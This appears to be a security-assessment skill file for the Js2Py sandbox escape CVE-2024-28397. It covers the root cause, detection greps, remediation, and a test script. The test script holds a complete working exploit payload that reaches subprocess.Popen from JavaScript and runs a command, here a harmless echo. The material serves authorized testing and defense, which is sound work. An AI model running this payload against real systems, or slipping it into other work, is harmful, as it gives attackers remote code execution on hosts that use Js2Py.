Hacktricks-skills js2py-cve-2024-28397-assessment
Security assessment skill for CVE-2024-28397 (Js2Py sandbox escape). Use this skill when analyzing JavaScript-to-Python execution environments, reviewing js2py usage in codebases, testing for this specific vulnerability in authorized security assessments, or implementing mitigations. Trigger when users mention js2py, JavaScript sandboxing, Python sandbox escapes, CVE-2024-28397, or need to evaluate js2py security posture.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/generic-methodologies-and-resources/python/bypass-python-sandboxes/js2py-sandbox-escape-cve-2024-28397/SKILL.MDJs2Py CVE-2024-28397 Security Assessment
A skill for security professionals to understand, test for, and remediate the Js2Py sandbox escape vulnerability (CVE-2024-28397).
⚠️ Authorization Required
This skill is for authorized security testing only. Only use these techniques on:
- Systems you own or have explicit written permission to test
- Your own development/testing environments
- Bug bounty programs where this vulnerability is in scope
Unauthorized access to computer systems is illegal.
What This Vulnerability Is
Js2Py translates JavaScript into Python objects. Even when
js2py.disable_pyimport() is used, untrusted JavaScript can traverse Python internals to reach dangerous classes like subprocess.Popen, achieving remote code execution (RCE).
Affected versions: Js2Py ≤ 0.74
Root cause: Js2Py exposes Python object wrappers to JavaScript without stripping dangerous attributes (
__getattribute__, __class__, __base__, __subclasses__). The disable_pyimport() function only blocks explicit imports but doesn't prevent accessing already-loaded modules.
The Exploitation Chain
Step-by-Step Primitive Chain
- Get a Python-backed object:
returns aObject.getOwnPropertyNames({})
object in Python spacedict_keys - Recover attribute access: Grab
from that object to read arbitrary attributes.__getattribute__ - Climb to
: Fromobject
read<class 'dict_keys'>
to reach Python's base.__base__object - Enumerate loaded classes: Call
to walk every class loaded in the interpreterobject.__subclasses__() - Find
: Recursively search subclasses wheresubprocess.Popen
and__module__ == "subprocess"__name__ == "Popen" - Execute commands: Instantiate Popen with attacker-controlled arguments and invoke
.communicate()
Why This Works
- Js2Py exposes Python object wrappers to JS without stripping dangerous dunder methods
only blocks explicitdisable_pyimport()
callspyimport- The chain never imports anything new; it reuses already-loaded modules in memory
- No hard isolation between JS and Python execution contexts
Testing for the Vulnerability
Local Reproduction (Authorized Testing Only)
# Js2Py 0.74 requires Python 3.11 (breaks on 3.12/3.13) uv run --with js2py==0.74 --python 3.11 python - <<'PY' import js2py # Test 1: Basic object access print("Test 1:", js2py.eval_js("Object.getOwnPropertyNames({})")) # Test 2: Attribute access primitive print("Test 2:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # Test 3: Class traversal print("Test 3:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")")) # Test 4: Base object access print("Test 4:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__")) # Test 5: Subclass enumeration print("Test 5:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()")) PY
Web Application Testing
Any endpoint that feeds attacker-controlled JS into
js2py.eval_js() is vulnerable if:
- The process user has shell access
- Js2Py version ≤ 0.74
- No additional sandboxing layers exist
Common vulnerable patterns:
# VULNERABLE: Flask endpoint accepting JS code @app.route('/run_code') def run_code(): js_code = request.json['code'] result = js2py.eval_js(js_code) # RCE if attacker controls js_code return jsonify({'result': result}) # VULNERABLE: Even with disable_pyimport() js2py.disable_pyimport() result = js2py.eval_js(attacker_controlled_js) # STILL VULNERABLE
Detection Checklist
Use this checklist to identify vulnerable systems:
- Dependency scan: Check if
is injs2py
,requirements.txt
, or lock filespackage.json - Version check: Verify if version is ≤ 0.74
- Code search: Look for
with user-controlled inputjs2py.eval_js( - API review: Identify endpoints accepting JavaScript code execution
- Sandbox review: Check if
is the only mitigationdisable_pyimport() - Process permissions: Determine if the process user has shell access
Code Search Patterns
# Find js2py usage grep -r "import js2py" . grep -r "from js2py" . grep -r "eval_js" . # Find disable_pyimport usage (false sense of security) grep -r "disable_pyimport" .
Remediation Strategies
Immediate Mitigations
-
Upgrade Js2Py (if a patched version exists)
pip install --upgrade js2py -
Remove untrusted JS execution
- If you don't need to execute untrusted JavaScript, remove js2py entirely
- Use safer alternatives like Node.js in a container for JS execution
-
Implement hard isolation
- Run js2py in a separate process with minimal privileges
- Use containers (Docker) with no shell access
- Implement network isolation
Long-term Solutions
-
Replace with safer alternatives
- For JS execution: Use Node.js in isolated containers
- For JS-to-Python data exchange: Use JSON serialization instead of object translation
-
Implement input validation
- Whitelist allowed JavaScript operations
- Sanitize all user input before execution
- Use allowlists rather than blocklists
-
Defense in depth
- Run in containers with seccomp profiles
- Use read-only filesystems where possible
- Implement network egress filtering
- Monitor for suspicious process spawning
Example: Containerized Isolation
FROM python:3.11-slim # Install js2py RUN pip install js2py==0.74 # Create unprivileged user RUN useradd -r -s /bin/false js2py_user # Set restrictive environment USER js2py_user WORKDIR /app # No shell access, limited capabilities CMD ["python", "app.py"]
Security Testing Script
Use this script to test your own systems (authorized testing only):
#!/usr/bin/env python3 """Test for CVE-2024-28397 in your own js2py installations.""" import js2py import sys def test_sandbox_escape(): """Test if the sandbox can be escaped.""" # Test payload - harmless command for testing test_cmd = "echo 'sandbox_test_success'" payload = f""" let cmd = "{test_cmd}"; let hacked, bymarve, n11; let getattr, obj; hacked = Object.getOwnPropertyNames({}); bymarve = hacked.__getattribute__; n11 = bymarve("__getattribute__"); obj = n11("__class__").__base__; getattr = obj.__getattribute__; function findpopen(o) {{ let result; for (let i in o.__subclasses__()) {{ let item = o.__subclasses__()[i]; if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{ return item; }} if (item.__name__ != "type" && (result = findpopen(item))) {{ return result; }} }} }} n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); n11; """ try: result = js2py.eval_js(payload) if "sandbox_test_success" in str(result): print("[VULNERABLE] Sandbox escape successful!") return True else: print("[SAFE] Sandbox escape failed") return False except Exception as e: print(f"[SAFE] Exception during test: {e}") return False if __name__ == "__main__": print("CVE-2024-28397 Vulnerability Test") print("=" * 40) print(f"Js2Py version: {js2py.__version__}") print() test_sandbox_escape()
Common Misconceptions
❌ "disable_pyimport() protects us"
False. This only blocks explicit
pyimport calls. The vulnerability chain never imports anything new.
❌ "We don't execute user JS, so we're safe"
Check carefully. User input might reach js2py through:
- API endpoints accepting code
- File uploads with JS content
- Database-stored scripts
- Third-party integrations
❌ "It's just a sandbox, not production"
False. Development/test environments can be pivot points to production systems if on the same network.
References
When to Use This Skill
Use this skill when:
- Reviewing codebases for js2py usage
- Conducting authorized security assessments
- Implementing JavaScript execution in Python applications
- Responding to CVE-2024-28397 alerts
- Designing secure sandbox architectures
- Training security teams on sandbox escapes
Related Vulnerabilities
Similar sandbox escape patterns exist in:
- Other JS-to-Python bridges
- Python-to-JavaScript bridges
- Any language bridge exposing internal object attributes
- Sandboxes relying on attribute blocking without hard isolation